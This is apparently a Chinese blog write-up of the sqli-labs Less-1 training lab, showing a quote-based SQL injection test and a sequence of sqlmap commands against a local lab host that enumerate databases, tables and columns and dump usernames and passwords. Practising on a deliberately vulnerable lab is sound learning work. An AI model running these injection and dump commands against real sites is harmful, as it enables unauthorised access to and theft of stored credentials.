网络安全-sqlmap实战之sqlilabs-Less1

傷城~ 2023-02-20 04:46 16阅读 0赞

**目录**

类型

注入判断

\-u参数

-dbs参数爆数据库

-tables参数爆表

\-columns爆列

-dump爆数据

查看源代码

查看数据库

--------------------

# 类型 #

基于字符串的错误

# 注入判断 #

?id=1'

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70][] 存在sql注入

根据提示猜测，sql语句大概为

select * from 表名 where id = 参数 LIMIT 0,1

# \-u参数 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1"

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1][] sql注入类型

共发现4种注入类型

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2][] 随便测试了一种

#  -dbs参数爆数据库 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -dbs

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3][] 数据库

#  -tables参数爆表 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -tables

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 4][] 表

# \-columns爆列 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -T users -columns

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 5][] 表

#  -dump爆数据 #

选择把三列数据都爆出来

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -T users -C id,username,password -dump

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 6][] 爆数据

# 查看源代码 #

sql语句为

SELECT * FROM users WHERE id='$id' LIMIT 0,1

# 查看数据库 #

![20200623180526184.PNG][] users表

更多内容查看：[网络安全-自学笔记][-]

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[20200623180526184.PNG]: https://img-blog.csdnimg.cn/20200623180526184.PNG
[-]: https://blog.csdn.net/lady_killer9/article/details/106791542